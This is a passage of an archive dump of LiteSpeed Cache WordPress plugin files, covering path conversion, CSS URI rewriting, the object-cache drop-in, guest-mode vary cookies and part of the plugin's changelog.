		// $path could theoretically be empty (e.g. no path is given), in which
		// case it shouldn't expand to array(''), which would compare to one's
		// root /
		$path1 = $path1 ? explode( '/', $path1 ) : array();
		$path2 = $path2 ? explode( '/', $path2 ) : array();

		$shared = array();

		// compare paths & strip identical ancestors
		foreach ( $path1 as $i => $chunk ) {
			if ( isset( $path2[ $i ] ) && $path1[ $i ] == $path2[ $i ] ) {
				$shared[] = $chunk;
			} else {
				break;
			}
		}

		return implode( '/', $shared );
	}

	/**
	 * Convert paths relative from 1 file to another.
	 *
	 * E.g.
	 *     ../images/img.gif relative to /home/forkcms/frontend/core/layout/css
	 * should become:
	 *     ../../core/layout/images/img.gif relative to
	 *     /home/forkcms/frontend/cache/minified_css
	 *
	 * @param string $path The relative path that needs to be converted
	 *
	 * @return string The new relative path
	 */
	public function convert( $path ) {
		// quit early if conversion makes no sense
		if ( $this->from === $this->to ) {
			return $path;
		}

		$path = $this->normalize( $path );
		// if we're not dealing with a relative path, just return absolute
		if ( strpos( $path, '/' ) === 0 ) {
			return $path;
		}

		// normalize paths
		$path = $this->normalize( $this->from . '/' . $path );

		// strip shared ancestor paths
		$shared = $this->shared( $path, $this->to );
		$path   = mb_substr( $path, mb_strlen( $shared ) );
		$to     = mb_substr( $this->to, mb_strlen( $shared ) );

		// add .. for every directory that needs to be traversed to new path
		$to = str_repeat( '../', count( array_filter( explode( '/', $to ) ) ) );

		return $to . ltrim( $path, '/' );
	}

	/**
	 * Attempt to get the directory name from a path.
	 *
	 * @param string $path
	 *
	 * @return string
	 */
	protected function dirname( $path ) {
		if ( @is_file( $path ) ) {
			return dirname( $path );
		}

		if ( @is_dir( $path ) ) {
			return rtrim( $path, '/' );
		}

		// no known file/dir, start making assumptions

		// ends in / = dir
		if ( mb_substr( $path, -1 ) === '/' ) {
			return rtrim( $path, '/' );
		}

		// has a dot in the name, likely a file
		if ( preg_match( '/.*\..*$/', basename( $path ) ) !== 0 ) {
			return dirname( $path );
		}

		// you're on your own here!
		return $path;
	}
}

class NoConverter implements ConverterInterface {

	/**
	 * {@inheritdoc}
	 */
	public function convert( $path ) {
		return $path;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/pathconverter/LICENSE000064400000002043151031165260023054 0ustar00Copyright (c) 2015 Matthias Mullie

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/object-cache.php000064400000003514151031165260020060 0ustar00<?php
// phpcs:ignoreFile

/**
 * Plugin Name:       LiteSpeed Cache - Object Cache (Drop-in)
 * Plugin URI:        https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration
 * Description:       High-performance page caching and site optimization from LiteSpeed.
 * Author:            LiteSpeed Technologies
 * Author URI:        https://www.litespeedtech.com
 */

defined( 'WPINC' ) || exit;
/**
 * LiteSpeed Object Cache
 *
 * @since  1.8
 */

! defined( 'LSCWP_OBJECT_CACHE' ) && define( 'LSCWP_OBJECT_CACHE', true );

// Initialize const `LSCWP_DIR` and locate LSCWP plugin folder
$lscwp_dir = ( defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/plugins' ) . '/litespeed-cache/';

// Use plugin as higher priority than MU plugin
if ( ! file_exists( $lscwp_dir . 'litespeed-cache.php' ) ) {
	// Check if is mu plugin or not
	$lscwp_dir = ( defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins' ) . '/litespeed-cache/';
	if ( ! file_exists( $lscwp_dir . 'litespeed-cache.php' ) ) {
		$lscwp_dir = '';
	}
}

$data_file = WP_CONTENT_DIR . '/.litespeed_conf.dat';
$lib_file  = $lscwp_dir . 'src/object.lib.php';

// Can't find LSCWP location, terminate object cache process
if ( ! $lscwp_dir || ! file_exists( $data_file ) || ( ! file_exists( $lib_file ) ) ) {
	if ( ! is_admin() ) { // Bypass object cache for frontend
		require_once ABSPATH . WPINC . '/cache.php';
	} else {
		$err = 'Can NOT find LSCWP path for object cache initialization in ' . __FILE__;
		error_log( $err );
		add_action(
			is_network_admin() ? 'network_admin_notices' : 'admin_notices',
			function () use ( &$err ) {
				echo $err;
			}
		);
	}
} elseif ( ! LSCWP_OBJECT_CACHE ) {
	// Disable cache
		wp_using_ext_object_cache( false );
}
	// Init object cache & LSCWP
elseif ( file_exists( $lib_file ) ) {
	require_once $lib_file;
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/urirewriter.cls.php000064400000021745151031165260020722 0ustar00<?php
// phpcs:ignoreFile
/**
 * Rewrite file-relative URIs as root-relative in CSS files
 *
 * @package Minify
 * @author Stephen Clay <steve@mrclay.org>
 */

namespace LiteSpeed\Lib;

defined( 'WPINC' ) || exit;

class UriRewriter {


	/**
	 * rewrite() and rewriteRelative() append debugging information here
	 *
	 * @var string
	 */
	public static $debugText = '';

	/**
	 * In CSS content, rewrite file relative URIs as root relative
	 *
	 * @param string $css
	 *
	 * @param string $currentDir The directory of the current CSS file.
	 *
	 * @param string $docRoot The document root of the web site in which
	 * the CSS file resides (default = $_SERVER['DOCUMENT_ROOT']).
	 *
	 * @param array  $symlinks (default = array()) If the CSS file is stored in
	 *  a symlink-ed directory, provide an array of link paths to
	 *  target paths, where the link paths are within the document root. Because
	 *  paths need to be normalized for this to work, use "//" to substitute
	 *  the doc root in the link paths (the array keys). E.g.:
	 *  <code>
	 *  array('//symlink' => '/real/target/path') // unix
	 *  array('//static' => 'D:\\staticStorage')  // Windows
	 *  </code>
	 *
	 * @return string
	 */
	public static function rewrite( $css, $currentDir, $docRoot = null, $symlinks = array() ) {
		self::$_docRoot    = self::_realpath(
			$docRoot ? $docRoot : $_SERVER['DOCUMENT_ROOT']
		);
		self::$_currentDir = self::_realpath( $currentDir );
		self::$_symlinks   = array();

		// normalize symlinks in order to map to link
		foreach ( $symlinks as $link => $target ) {
			$link = ( $link === '//' ) ? self::$_docRoot : str_replace( '//', self::$_docRoot . '/', $link );
			$link = strtr( $link, '/', DIRECTORY_SEPARATOR );

			self::$_symlinks[ $link ] = self::_realpath( $target );
		}

		self::$debugText .= 'docRoot    : ' . self::$_docRoot . "\n"
							. 'currentDir : ' . self::$_currentDir . "\n";
		if ( self::$_symlinks ) {
			self::$debugText .= 'symlinks : ' . var_export( self::$_symlinks, 1 ) . "\n";
		}
		self::$debugText .= "\n";

		$css = self::_trimUrls( $css );

		$css = self::_owlifySvgPaths( $css );

		// rewrite
		$pattern = '/@import\\s+([\'"])(.*?)[\'"]/';
		$css     = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css );

		$pattern = '/url\\(\\s*([\'"](.*?)[\'"]|[^\\)\\s]+)\\s*\\)/';
		$css     = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css );

		$css = self::_unOwlify( $css );

		return $css;
	}

	/**
	 * In CSS content, prepend a path to relative URIs
	 *
	 * @param string $css
	 *
	 * @param string $path The path to prepend.
	 *
	 * @return string
	 */
	public static function prepend( $css, $path ) {
		self::$_prependPath = $path;

		$css = self::_trimUrls( $css );

		$css = self::_owlifySvgPaths( $css );

		// append
		$pattern = '/@import\\s+([\'"])(.*?)[\'"]/';
		$css     = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css );

		$pattern = '/url\\(\\s*([\'"](.*?)[\'"]|[^\\)\\s]+)\\s*\\)/';
		$css     = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css );

		$css = self::_unOwlify( $css );

		self::$_prependPath = null;

		return $css;
	}

	/**
	 * Get a root relative URI from a file relative URI
	 *
	 * <code>
	 * UriRewriter::rewriteRelative(
	 *       '../img/hello.gif'
	 *     , '/home/user/www/css'  // path of CSS file
	 *     , '/home/user/www'      // doc root
	 * );
	 * // returns '/img/hello.gif'
	 *
	 * // example where static files are stored in a symlinked directory
	 * UriRewriter::rewriteRelative(
	 *       'hello.gif'
	 *     , '/var/staticFiles/theme'
	 *     , '/home/user/www'
	 *     , array('/home/user/www/static' => '/var/staticFiles')
	 * );
	 * // returns '/static/theme/hello.gif'
	 * </code>
	 *
	 * @param string $uri file relative URI
	 *
	 * @param string $realCurrentDir realpath of the current file's directory.
	 *
	 * @param string $realDocRoot realpath of the site document root.
	 *
	 * @param array  $symlinks (default = array()) If the file is stored in
	 *  a symlink-ed directory, provide an array of link paths to
	 *  real target paths, where the link paths "appear" to be within the document
	 *  root. E.g.:
	 *  <code>
	 *  array('/home/foo/www/not/real/path' => '/real/target/path') // unix
	 *  array('C:\\htdocs\\not\\real' => 'D:\\real\\target\\path')  // Windows
	 *  </code>
	 *
	 * @return string
	 */
	public static function rewriteRelative( $uri, $realCurrentDir, $realDocRoot, $symlinks = array() ) {
		// prepend path with current dir separator (OS-independent)
		$path  = strtr( $realCurrentDir, '/', DIRECTORY_SEPARATOR );
		$path .= DIRECTORY_SEPARATOR . strtr( $uri, '/', DIRECTORY_SEPARATOR );

		self::$debugText .= "file-relative URI  : {$uri}\n"
							. "path prepended     : {$path}\n";

		// "unresolve" a symlink back to doc root
		foreach ( $symlinks as $link => $target ) {
			if ( 0 === strpos( $path, $target ) ) {
				// replace $target with $link
				$path = $link . substr( $path, strlen( $target ) );

				self::$debugText .= "symlink unresolved : {$path}\n";

				break;
			}
		}
		// strip doc root
		$path = substr( $path, strlen( $realDocRoot ) );

		self::$debugText .= "docroot stripped   : {$path}\n";

		// fix to root-relative URI
		$uri = strtr( $path, '/\\', '//' );
		$uri = self::removeDots( $uri );

		self::$debugText .= "traversals removed : {$uri}\n\n";

		return $uri;
	}

	/**
	 * Remove instances of "./" and "../" where possible from a root-relative URI
	 *
	 * @param string $uri
	 *
	 * @return string
	 */
	public static function removeDots( $uri ) {
		$uri = str_replace( '/./', '/', $uri );
		// inspired by patch from Oleg Cherniy
		do {
			$uri = preg_replace( '@/[^/]+/\\.\\./@', '/', $uri, 1, $changed );
		} while ( $changed );

		return $uri;
	}

	/**
	 * Get realpath with any trailing slash removed. If realpath() fails,
	 * just remove the trailing slash.
	 *
	 * @param string $path
	 *
	 * @return mixed path with no trailing slash
	 */
	protected static function _realpath( $path ) {
		$realPath = realpath( $path );
		if ( $realPath !== false ) {
			$path = $realPath;
		}

		return rtrim( $path, '/\\' );
	}

	/**
	 * Directory of this stylesheet
	 *
	 * @var string
	 */
	private static $_currentDir = '';

	/**
	 * DOC_ROOT
	 *
	 * @var string
	 */
	private static $_docRoot = '';

	/**
	 * directory replacements to map symlink targets back to their
	 * source (within the document root) E.g. '/var/www/symlink' => '/var/realpath'
	 *
	 * @var array
	 */
	private static $_symlinks = array();

	/**
	 * Path to prepend
	 *
	 * @var string
	 */
	private static $_prependPath = null;

	/**
	 * @param string $css
	 *
	 * @return string
	 */
	private static function _trimUrls( $css ) {
		$pattern = '/
            url\\(      # url(
            \\s*
            ([^\\)]+?)  # 1 = URI (assuming does not contain ")")
            \\s*
            \\)         # )
        /x';

		return preg_replace( $pattern, 'url($1)', $css );
	}

	/**
	 * @param array $m
	 *
	 * @return string
	 */
	private static function _processUriCB( $m ) {
		// $m matched either '/@import\\s+([\'"])(.*?)[\'"]/' or '/url\\(\\s*([^\\)\\s]+)\\s*\\)/'
		$isImport = ( $m[0][0] === '@' );
		// determine URI and the quote character (if any)
		if ( $isImport ) {
			$quoteChar = $m[1];
			$uri       = $m[2];
		} else {
			// $m[1] is either quoted or not
			$quoteChar = ( $m[1][0] === "'" || $m[1][0] === '"' ) ? $m[1][0] : '';

			$uri = ( $quoteChar === '' ) ? $m[1] : substr( $m[1], 1, strlen( $m[1] ) - 2 );
		}

		if ( $uri === '' ) {
			return $m[0];
		}

		// if not anchor id, not root/scheme relative, and not starts with scheme
		if ( ! preg_match( '~^(#|/|[a-z]+\:)~', $uri ) ) {
			// URI is file-relative: rewrite depending on options
			if ( self::$_prependPath === null ) {
				$uri = self::rewriteRelative( $uri, self::$_currentDir, self::$_docRoot, self::$_symlinks );
			} else {
				$uri = self::$_prependPath . $uri;
				if ( $uri[0] === '/' ) {
					$root         = '';
					$rootRelative = $uri;
					$uri          = $root . self::removeDots( $rootRelative );
				} elseif ( preg_match( '@^((https?\:)?//([^/]+))/@', $uri, $m ) && ( false !== strpos( $m[3], '.' ) ) ) {
					$root         = $m[1];
					$rootRelative = substr( $uri, strlen( $root ) );
					$uri          = $root . self::removeDots( $rootRelative );
				}
			}
		}

		if ( $isImport ) {
			return "@import {$quoteChar}{$uri}{$quoteChar}";
		} else {
			return "url({$quoteChar}{$uri}{$quoteChar})";
		}
	}

	/**
	 * Mungs some inline SVG URL declarations so they won't be touched
	 *
	 * @link https://github.com/mrclay/minify/issues/517
	 * @see _unOwlify
	 *
	 * @param string $css
	 * @return string
	 */
	private static function _owlifySvgPaths( $css ) {
		$pattern = '~\b((?:clip-path|mask|-webkit-mask)\s*\:\s*)url(\(\s*#\w+\s*\))~';

		return preg_replace( $pattern, '$1owl$2', $css );
	}

	/**
	 * Undo work of _owlify
	 *
	 * @see _owlifySvgPaths
	 *
	 * @param string $css
	 * @return string
	 */
	private static function _unOwlify( $css ) {
		$pattern = '~\b((?:clip-path|mask|-webkit-mask)\s*\:\s*)owl~';

		return preg_replace( $pattern, '$1url', $css );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/guest.cls.php000064400000011211151031165260017451 0ustar00<?php
// phpcs:ignoreFile

namespace LiteSpeed\Lib;

/**
 * Update guest vary
 *
 * @since 4.1
 */
class Guest {

	const CONF_FILE            = '.litespeed_conf.dat';
	const HASH                 = 'hash'; // Not set-able
	const O_CACHE_LOGIN_COOKIE = 'cache-login_cookie';
	const O_DEBUG              = 'debug';
	const O_DEBUG_IPS          = 'debug-ips';
	const O_UTIL_NO_HTTPS_VARY = 'util-no_https_vary';
	const O_GUEST_UAS          = 'guest_uas';
	const O_GUEST_IPS          = 'guest_ips';

	private static $_ip;
	private static $_vary_name = '_lscache_vary'; // this default vary cookie is used for logged in status check
	private $_conf             = false;

	/**
	 * Constructor
	 *
	 * @since 4.1
	 */
	public function __construct() {
		! defined( 'LSCWP_CONTENT_FOLDER' ) && define( 'LSCWP_CONTENT_FOLDER', dirname( __DIR__, 3 ) );
		// Load config
		$this->_conf = file_get_contents( LSCWP_CONTENT_FOLDER . '/' . self::CONF_FILE );
		if ( $this->_conf ) {
			$this->_conf = json_decode( $this->_conf, true );
		}

		if ( ! empty( $this->_conf[ self::O_CACHE_LOGIN_COOKIE ] ) ) {
			self::$_vary_name = $this->_conf[ self::O_CACHE_LOGIN_COOKIE ];
		}
	}

	/**
	 * Update Guest vary
	 *
	 * @since  4.0
	 */
	public function update_guest_vary() {
		// This process must not be cached
		/**
		 * @reference https://wordpress.org/support/topic/soft-404-from-google-search-on-litespeed-cache-guest-vary-php/#post-16838583
		 */
		header( 'X-Robots-Tag: noindex' );
		header( 'X-LiteSpeed-Cache-Control: no-cache' );

		if ( $this->always_guest() ) {
			echo '[]';
			exit;
		}

		// If contains vary already, don't reload to avoid infinite loop when parent page having browser cache
		if ( $this->_conf && self::has_vary() ) {
			echo '[]';
			exit;
		}

		// Send vary cookie
		$vary = 'guest_mode:1';
		if ( $this->_conf && empty( $this->_conf[ self::O_DEBUG ] ) ) {
			$vary = md5( $this->_conf[ self::HASH ] . $vary );
		}

		$expire = time() + 2 * 86400;
		$is_ssl = ! empty( $this->_conf[ self::O_UTIL_NO_HTTPS_VARY ] ) ? false : $this->is_ssl();
		setcookie( self::$_vary_name, $vary, $expire, '/', false, $is_ssl, true );

		// return json
		echo json_encode( array( 'reload' => 'yes' ) );
		exit;
	}

	/**
	 * WP's is_ssl() func
	 *
	 * @since 4.1
	 */
	private function is_ssl() {
		if ( isset( $_SERVER['HTTPS'] ) ) {
			if ( 'on' === strtolower( $_SERVER['HTTPS'] ) ) {
				return true;
			}

			if ( '1' == $_SERVER['HTTPS'] ) {
				return true;
			}
		} elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
			return true;
		}
		return false;
	}

	/**
	 * Check if default vary has a value
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function has_vary() {
		if ( empty( $_COOKIE[ self::$_vary_name ] ) ) {
			return false;
		}
		return $_COOKIE[ self::$_vary_name ];
	}

	/**
	 * Detect if is a guest visitor or not
	 *
	 * @since  4.0
	 */
	public function always_guest() {
		if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
			return false;
		}

		if ( $this->_conf[ self::O_GUEST_UAS ] ) {
			$quoted_uas = array();
			foreach ( $this->_conf[ self::O_GUEST_UAS ] as $v ) {
				$quoted_uas[] = preg_quote( $v, '#' );
			}
			$match = preg_match( '#' . implode( '|', $quoted_uas ) . '#i', $_SERVER['HTTP_USER_AGENT'] );
			if ( $match ) {
				return true;
			}
		}

		if ( $this->ip_access( $this->_conf[ self::O_GUEST_IPS ] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Check if the ip is in the range
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function ip_access( $ip_list ) {
		if ( ! $ip_list ) {
			return false;
		}
		if ( ! isset( self::$_ip ) ) {
			self::$_ip = self::get_ip();
		}
		// $uip = explode('.', $_ip);
		// if(empty($uip) || count($uip) != 4) Return false;
		// foreach($ip_list as $key => $ip) $ip_list[$key] = explode('.', trim($ip));
		// foreach($ip_list as $key => $ip) {
		// if(count($ip) != 4) continue;
		// for($i = 0; $i <= 3; $i++) if($ip[$i] == '*') $ip_list[$key][$i] = $uip[$i];
		// }
		return in_array( self::$_ip, $ip_list );
	}

	/**
	 * Get client ip
	 *
	 * @since 1.1.0
	 * @since  1.6.5 changed to public
	 * @access public
	 * @return string
	 */
	public static function get_ip() {
		$_ip = '';
		if ( function_exists( 'apache_request_headers' ) ) {
			$apache_headers = apache_request_headers();
			$_ip            = ! empty( $apache_headers['True-Client-IP'] ) ? $apache_headers['True-Client-IP'] : false;
			if ( ! $_ip ) {
				$_ip = ! empty( $apache_headers['X-Forwarded-For'] ) ? $apache_headers['X-Forwarded-For'] : false;
				$_ip = explode( ',', $_ip );
				$_ip = $_ip[0];
			}
		}

		if ( ! $_ip ) {
			$_ip = ! empty( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : false;
		}
		return $_ip;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/changelog.txt000064400000405261151031165260016767 0ustar00
= 5.6 - Aug 1 2023 =
* 🌱**Page Optimize** New JS Delay Includes option. (Mitchell Krog/Gerard Reches/Ignacy Hołoga)
* **Crawler** Sitemap can use search for URL now.
* **GUI** Restrict the scope of balloon CSS rules to avoid conflicts. (#567)
* **Object Cache** Detect Memcached in more situations. (#568)
* **API** Support `litespeed_purged_front` hook. (Umberto Fiorelli)

= 5.5.1 - Jul 19 2023 =
* 🐞**Image Optimization** Fixed a bug where WebP replacements couldn't be pulled without optimizing the original images.
* 🐞**Image Optimization** Invalid images will now be removed when sending requests to the server. (#138993)
* **Cloud** Added support for error codes `unpulled_images` and `blocklisted`. (Tynan)

= 5.5 - Jun 20 2023 =
* 🌱**Crawler** Can now use multiple sitemaps. (Tobolo/Tim Nolte)
* 🌱**Crawler** Now runs asynchronously when manually invoked.
* 🌱**Crawler** Now runs asynchronously when invoked from cron.
* 🐞**Crawler** Fixed the realtime status bug when crawling.
* **Crawler** Summary page now displays server load. (Ruikai)
* 🐞**Page Optimize** Fixed an issue where UCSS could not be generated for error pages. (james58899) #556
* 🌱**Image Optimize** Now pulls images asynchronously.
* **Image Optimize** Now prevents concurrent requests via a locking mechanism.
* **Image Optimize** The process can now bypass invalid image records and continue.
* 🐞**Image Optimize** Fixed an issue where images ready for optimization might have to wait for new images to be added before sending the request.
* **Cloud** Replaced dashboard links with login/link to my.quic.cloud actions.
* **GUI** Added indicators to show when certain options are passively enabled by Guest Mode.
* **Htaccess** Added a noabort rule to support asynchronous crawling.
* **Htaccess** The "Do Not Cache User Agents" option is now case-insensitive. (Ellen Dabo)
* **General** The "Server IP" option now allows IPv4 format only. (Ruikai)
* **Misc** Every page's closing HTML comments now displays UCSS/CCSS status.
* **Object** Fixed a warning for null get_post_type_object.
* **Object** Object_Cache::delete now always returns a boolean value.
* **Cache** Fixed advanced-cache.php file warnings for WordPress versions less than 5.3.
* **Debug** Added debug logging to record the plugin's total processing time.
* **API** HTML minification can now be bypassed via the litespeed_html_min filter.

= 5.4 - Apr 19 2023 =
* **Image Optimize** Refactored DB storage for this feature.
* **Image Optimize** Reduced DB table size.
* **Image Optimize** Existing `img_optm` DB tables will have their data gradually transitioned to the new storage format with this update. Once an `img_optm` table is empty, it won't be used anymore.
* **Page Optimize** Enabled WebP support for Googlebot User Agent.

= 5.3.3 - Feb 22 2023 =
* **Page Optimize** Excluded Jetpack stats JS.
* **DB Optimize** Fixed DB Optm SQL for revision postmeta.
* **Cache** Fixed an undefined array key warning.
* **Purge** Prevented undefined array key warning when widgets are disabled.
* **Object** Fixed dynamic property deprecation warnings.
* **Admin** Safely redirect to homepage if referer is unknown.
* **Activation** Check that item slug exists first.
* **Cache** Prevented cache header to send globally if header part already closed.
* **CSS** Improved string handling for CSS minifier.
* **Debug** Fixed undefined array key warnings.
* **Misc** Fixed implicit conversion in random string generation function `Str::rrand`.

= 5.3.2 - Jan 10 2023 =
* **Object** Fixed object cache lib incr, decr functions (thanks bdrbros/DANIEL) #516
* **Database Optimize** Database optimizer now handles postmeta when cleaning revisions #515
* **Cache** Made nocache the default for 4xx/5xx response codes.
* **Cache** Default cache TTL settings removed for 403 response code, changed to 10 mins for 500 response code.
* **GUI** Added a description for the redetect nodes function.
* **GUI** Added a description for the refresh button sync function.

= 5.3.1 - Dec 12 2022 =
* **CLI** Presets feature is now usable from the CLI. (xLukii)
* **CLI** Added 'import_remote' for litespeed-option to enable importing options from URLs. (xLukii)
* **Cache** Added LiteSpeed headers to site health check for full page cache.
* **Crawler* Fixed unauthorized crawler toggle operation. (#CVE-2022-46800)
* **UCSS** Fixed a bug where items weren't added back to the UCSS queue after purging.
* **Page Optimize** Fixed a bug where generated CSS would return 404 after upgrading via CLI.
* **3rd** Fixed a bug where a WooCommerce session doesn't exist when checking cart, notices (Jason Levy/Gilles)
* **GUI** Made LiteSpeed admin notice icon grayscale to avoid distraction. (martinsauter)
* **GUI** Fixed RTL style for notification icon.
* **API** Added a new hook `litespeed_optm_uri_exc` to exclude URI from page optimization.
* **API** Excluded `.well-known` path from page optimization.

= 5.3 - Oct 31 2022 =
* 🌱**Presets** New `Presets` feature and menu item.
* 🌱**UCSS** New option `UCSS File Excludes and Inline` to increase page score. (Ankit)
* **UCSS** When UCSS is purged, automatically append URL to UCSS generation queue. (Ankit)
* **Page Optimize** Removed a redundant `defer` attribute from Lazy Load image library usage. (#928019)
* **Image Optimize** Dropped `Create WebP Versions` setting. Will automatically enable when `Image WebP Replacement` is activated.
* **Cloud** Fixed a bug where internal updates were delayed for API keys.
* **Cloud** Improved auto alias feature by waiting for second request from alias domain validation before removing a pending alias.
* **Purge** Automatically Purge All when plugin auto update is done.
* **Purge** Fixed a potential PHP8 error that occurred when removing unused widgets. (acsnaterse)
* **Cache** Fixed an infinite 301 redirection caused by UTM-encoded link.
* **CLI** Added syntax examples for values that include line breaks (xLukii)
* **CLI** Purge requests will now be included with the original request to avoid potential CSS/JS 404 issues.
* **ESI** Check all user roles for cache vary and page optimization excludes.
* **GUI** Added a LiteSpeed icon to admin message banners to indicate the banners are from our plugin. (Michael D)
* **Crawler** Fixed a cache-miss issue that occurred when Guest Mode was ON and WebP Replacement was OFF.
* **3rd** Remove WooCommerce private cache.
* **3rd** Removed LiteSpeed metabox from ACF field group edit page. (keepmovingdk)

= 5.2.1 - Sep 7 2022 =
* 🐞**Core** Fixed a fatal error that occurred when uninstalling. (#894556 Hostinger)
* **Dash** Show partner info on the dashboard for partner-tier QC accounts.
* **UCSS** Auto-purge UCSS on post update. (Ankit)
* 🕸️**Crawler** Respect the `LITESPEED_CRAWLER_DISABLE_BLOCKLIST` constant for unexpected results too. (Abe)

= 5.2 - Aug 17 2022 =
* 🌱**UCSS** Added UCSS message queue to improve service quality and reliability
* 🐞**VPI** Fixed conflict w/ image lazyload; used HTML before image lazyload to avoid invalid `data:base64` results.
* **VPI** Changed VPI Cron default setting to OFF.
* **VPI** Automatically resend requests when VPI result contains invalid `data:` image value.
* **Conf** Fixed an issue with URI Excludes, where paths using both ^ and $ were not correctly excluded (Eric/Abe)
* **Conf** Auto corrected `WP_CONTENT_URL` protocol if it was explicitly set to `http://`.
* **Cloud** No longer sync the configuration to QUIC.cloud if configuration is unchanged.
* **Cloud** Appended home_url value into synced configuration data for wp-content folder path correction.
* 🕸️**Crawler** Improved compatibility with server `open_basedir` PHP setting limit when detecting load before crawling. (Tom Robak/mmieszalski)

= 5.1 - Aug 1 2022 =
* 🌱**Toolbox** Debug log can now show Purge/Crawler logs as well. (Tynan)
* **UCSS** Prepared for future message queue.
* **UCSS** Moved UCSS class to its own file.
* **3rd** Added 3rd-party support for WC PDF Product Vouchers. (Tynan)
* **Core** Fixed potential PHP warning when saving summary data. (Sarah Richardson)
* **Purge** Purge can now clear the summary correctly. (Kevin)
* **VPI** Added `queue_k` to API notification.

= 5.0.1 - Jul 27 2022 =
* 🐞**Cloud** Fixed a potential PHP error that could occur with the cloud service summary. (Bruno Cantuaria)
* **3rd** Added Autoptimize back to compatibility list.

= 5.0.0.1 - Jul 26 2022 =
* 🔥🐞**Cloud** Fixed an issue with the cloud request timestamp update which causes a usage sync failure. (great thanks to Kevin)

= 5.0 - Jul 25 2022 =
* 🌱**VPI** Added Viewport Images feature to LiteSpeed Options metabox on Post Edit page.
* 🌱**CDN** Added Auto CDN Setup feature for simple QUIC.cloud CDN setup. (Kevin)
* 🌱**Page Optimize** Automatically cache remote CSS/JS files when fetching for optimization (Lauren)
* 🌱**Cache** Added LiteSpeed Options for page-level cache control on Post Edit page. (denisgomesfranco)
* 🌱**Cloud** Auto Alias feature.
* 🌱**Debug** Added `Debug String Excludes` option. (Hanna)
* 🌱**UCSS** Added `Purge this page - UCSS` option to Admin Bar dropdown menu. (Ankit)
* 🌱**Guest** Added `litespeed_guest_off=1` URL query string parameter to bypass Guest Mode. (cbdfactum)
* 🐞**Page Optimize** Fixed an issue where CSS anchors could be wrongly converted to a full path when minifying. (Tynan)
* **Page Optimize** Bypass CCSS/UCSS generation when a self-crawled CSS resource returns a 404 code. (Abe)
* **Object** Allow `LSCWP_OBJECT_CACHE` predefined to turn off Object Cache. (knutsp)
* **Data** Fixed an issue where empty version tags in the database repeatedly toggled the upgrade banner and reset settings to default.
* **Purge** Fixed an issue where the site's index page could be purged upon deletion of an unviewable post. (Kevin)
* **Toolbox** Added `View site before optimization` button under `Debug` tab. (Ryan D)
* **Admin** Switch to using the `DONOTCACHEPAGE` constant to indicated WP-Admin pages are not cacheable.
* **Admin** Moved no-cache header to very beginning to avoid caching unexpected exits.
* **Cloud** Added message queue service for VPI. (Abe)
* **Cloud** Bypassed 503 error nodes from node redetection process. (Abe)
* **Cloud** Fixed a failure to detect `out_of_quota`. (Lauren)
* **Cloud** Added ability to display dismissable banners generated by QUIC.cloud.
* 🕸️**Crawler** Added realtime load detection before crawl.
* 🕸️**Crawler** Adjusted crawler behavior for Divi pages to allow for Divi's CCSS generation process. (miketemby)
* 🕸️**API** PHP constant `LITESPEED_CRAWLER_DISABLE_BLOCKLIST` and filter `litespeed_crawler_disable_blocklist` to disable blocklist. (Tobolo)
* **CDN** Automatically add a trailing slash to `CDN URL` and `Original URLs` if user didn't provide one. (Lucas)
* **Cache** When a URL redirects to a URL with a query string, consider these as different for caching purposes. (Shivam)
* **Media** Added ability to disable lazyload from the LiteSpeed Options metabox on Post Edit page.
* **Media** Added new default values to `WebP Attribute to Replace` setting for WPBakery and Slider Revolution. (JibsouX)
* **Image Optimize** Dropped redundant `Page Speed` user agent when serving WebP images. (serpentdriver)
* **GUI** Fixed an issue where manually dismissable admin messages were instead being treated as one-time messages. (Tynan Beatty)
* **GUI** Fixed an issue where subsequent admin alerts would overwrite existing alerts in the queue. (Kevin/Tynan)
* **GUI** Updated time offset in log. (Ruikai #PR444 #PR445)
* **GUI** Added `litespeed_media_ignore_remote_missing_sizes` API description.
* **CCSS** Fixed an issue where CCSS was unexpectedly bypassed if `CSS Combine` was OFF and `UCSS Inline` was ON. (Ruikai)
* **Debug** Added response headers to debug log. (Kevin)

= 4.6 - Mar 29 2022 =
* **Page Optimize** Improved compatibility for JS Delay.
* 🐞**Page Optimize** Fixed an issue for network subsites that occurred when only CSS/JS Minify are enabled.
* **Localization** Added query string compatibility for Resource URLs.
* **Vary** Fixed a potential PHP warning when server variable `REQUEST_METHOD` is not detected.
